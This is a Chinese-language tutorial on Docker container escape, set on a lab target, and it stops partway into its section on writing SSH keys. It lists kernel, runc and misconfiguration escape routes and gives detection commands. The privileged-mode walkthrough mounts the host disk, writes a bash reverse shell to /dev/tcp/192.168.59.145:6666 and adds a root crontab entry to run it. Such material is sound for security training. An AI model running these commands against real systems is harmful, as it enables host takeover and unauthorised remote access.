docker逃逸

/初识Docker逃逸 - FreeBuf网络安全行业门户

宸极实验室—『杂项』Docker 逃逸方法汇总 - 知乎 (zhihu.com)

什么是docker逃逸:

攻防中,拿到webshell​​后,发现自己是在docker​​容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。

docker逃逸流程:

目前的 Docker 逃逸的原因可以划分为三种:

由内核漏洞引起:

Dirty COW(CVE-2016-5195)

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。docker和宿主机共享内核

软件设计引起:

CVE-2019-5736、CVE-2019-14271

Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

由配置不当引起:

开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备。docker​管理员可通过mount​命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot​切换根目录、写ssh​公钥和crontab​计划任何等逃逸到宿主机。

docker逃逸环境判断:

  • 判断docker方法:

    • 1、使用下面命令,查看是否存在 dockerrnv 文件 ls -alh /.dockerenv
    • 2、查看系统进程的cgroup信息 cat /proc/1/cgroup

屏幕截图083034

屏幕截图090314

docker特权模式逃逸流程:

漏洞验证:

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff​对应的掩码值应该为0000003fffffffff​。

1
cat /proc/self/status |grep Cap

屏幕截图 2023-12-25 083254

漏洞利用:

红日四靶场—docker特权模式逃逸:

crontab​计划任务逃逸:

docker​容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

1
2
3
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker

屏幕截图 2023-12-25 083525

首先在kali​中使用nc​监听,进入到hacker​目录,通过touch​创建一个sh​文件,

再将bash​反弹命令写入到创建的sh​文件里面,在编写计划任务到/hacker/etc/crontab​文件中。

1
2
3
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

屏幕截图 2023-12-25 083637

返回到kali​中进行查看,已成功接收到shell

屏幕截图 2023-12-25 083704

写入ssh公钥进行逃逸: